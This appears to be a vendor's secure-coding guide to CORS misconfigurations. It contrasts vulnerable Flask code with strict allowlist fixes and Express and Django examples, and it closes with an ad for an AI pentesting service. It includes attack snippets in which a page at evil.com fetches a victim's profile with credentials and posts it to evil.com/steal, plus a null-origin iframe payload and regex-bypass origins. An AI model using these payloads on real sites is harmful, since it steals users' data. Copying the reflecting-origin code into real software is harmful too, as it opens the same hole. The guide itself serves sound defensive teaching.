CORS Misconfiguration Prevention

Understanding Cross-Origin Resource Sharing, identifying dangerous configurations, and implementing secure CORS policies.

Understanding CORS

Cross-Origin Resource Sharing (CORS) allows web applications to make requests to domains other than their own. Browsers enforce the Same-Origin Policy, and CORS provides a controlled way to relax these restrictions.

Two URLs have the same origin if they share the same protocol, host, and port:

https://example.com/page1      Same origin as
https://example.com/page2      ✓

https://example.com            Different from
http://example.com             ✗ (different protocol)
https://api.example.com        ✗ (different host)

Dangerous CORS Configurations

1. Reflecting the Origin Header

The most critical misconfiguration reflects any origin in the Access-Control-Allow-Origin header:

# DANGEROUS: Reflects any origin
@app.route('/api/data')
def get_data():
    response = make_response(jsonify(data))
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # Whatever sent!
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Attack:

<!-- Attacker's page at https://evil.com -->
<script>
fetch('https://vulnerable-api.com/api/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => fetch('https://evil.com/steal', {method: 'POST', body: JSON.stringify(data)}));
</script>

2. Null Origin Allowance

# DANGEROUS: Allows null origin
allowed_origins = ['https://app.example.com', 'null']

Attackers can send requests with Origin: null using sandboxed iframes:

<iframe sandbox="allow-scripts" srcdoc="
    <script>
        fetch('https://vulnerable-api.com/api/data', {credentials: 'include'})
        .then(r => r.text())
        .then(data => parent.postMessage(data, '*'));
    </script>
"></iframe>

3. Regex Bypass Vulnerabilities

# VULNERABLE: Weak regex
if re.match(r'https://.*\.example\.com', origin):
    return True
# Bypass: https://evil.example.com.attacker.com
 
# VULNERABLE: Substring matching  
if 'example.com' in origin:
    return True
# Bypass: https://example.com.evil.com

Proper Origin Validation

Strict Allowlist

ALLOWED_ORIGINS = {
    'https://app.example.com',
    'https://admin.example.com'
}
 
def cors_headers(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        response = f(*args, **kwargs)
        origin = request.headers.get('Origin')
        
        if origin in ALLOWED_ORIGINS:
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Vary'] = 'Origin'
        
        return response
    return decorated

Safe Subdomain Matching

from urllib.parse import urlparse
 
def is_valid_origin(origin):
    if not origin:
        return False
    
    try:
        parsed = urlparse(origin)
        
        if parsed.scheme != 'https':
            return False
        
        allowed_domains = {'app.example.com', 'admin.example.com'}
        if parsed.netloc in allowed_domains:
            return True
        
        # Safe subdomain pattern
        if re.match(r'^[a-z0-9-]+\.example\.com$', parsed.netloc):
            return True
        
        return False
    except:
        return False

Credential Handling

When Access-Control-Allow-Credentials is true:

  • Cannot use wildcard * for Access-Control-Allow-Origin
  • Must specify explicit origin
  • Must include Vary: Origin header
def handle_cors_with_credentials(response, origin):
    if origin not in ALLOWED_ORIGINS:
        return response
    
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    response.headers['Vary'] = 'Origin'
    
    return response

Framework Examples

Express.js

const cors = require('cors');
 
const corsOptions = {
    origin: function (origin, callback) {
        const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
        if (!origin || allowedOrigins.includes(origin)) {
            callback(null, true);
        } else {
            callback(new Error('CORS policy violation'));
        }
    },
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE']
};
 
app.use(cors(corsOptions));

Django

# settings.py
CORS_ALLOWED_ORIGINS = [
    'https://app.example.com',
    'https://admin.example.com',
]
CORS_ALLOW_CREDENTIALS = True

Testing CORS

# Test arbitrary origin reflection
curl -H "Origin: https://evil.com" \
     -s https://api.example.com/data | grep -i "access-control"
 
# Test null origin
curl -H "Origin: null" \
     -s https://api.example.com/data | grep -i "access-control"
def test_cors_config(url):
    tests = [
        ('Arbitrary origin', 'https://evil.com'),
        ('Null origin', 'null'),
        ('Subdomain bypass', 'https://evil.example.com.attacker.com'),
    ]
    
    for name, origin in tests:
        r = requests.options(url, headers={'Origin': origin})
        returned = r.headers.get('Access-Control-Allow-Origin')
        credentials = r.headers.get('Access-Control-Allow-Credentials', '').lower() == 'true'
        
        if returned == origin and credentials:
            print(f"[VULNERABLE] {name}: {returned}")

Security Checklist

  • Use explicit origin allowlist instead of reflection
  • Never allow null origin with credentials
  • Never use wildcard * with credentials
  • Validate origins using exact string matching
  • Always include Vary: Origin header
  • Review CORS config for each environment

Automated CORS Security Testing

CORS misconfigurations can be subtle and easily introduced during development. The combination of origin reflection and credential allowance creates exploitable vulnerabilities that are often missed in code review.

RedVeil's AI-powered penetration testing platform automatically tests your CORS implementation against known bypass techniques, including origin reflection, null origin exploitation, and regex bypasses. Each finding includes proof-of-concept evidence demonstrating how the misconfiguration could be exploited.

Test your CORS configuration with RedVeil →

Ready to run your own test?

Start your first RedVeil pentest in minutes.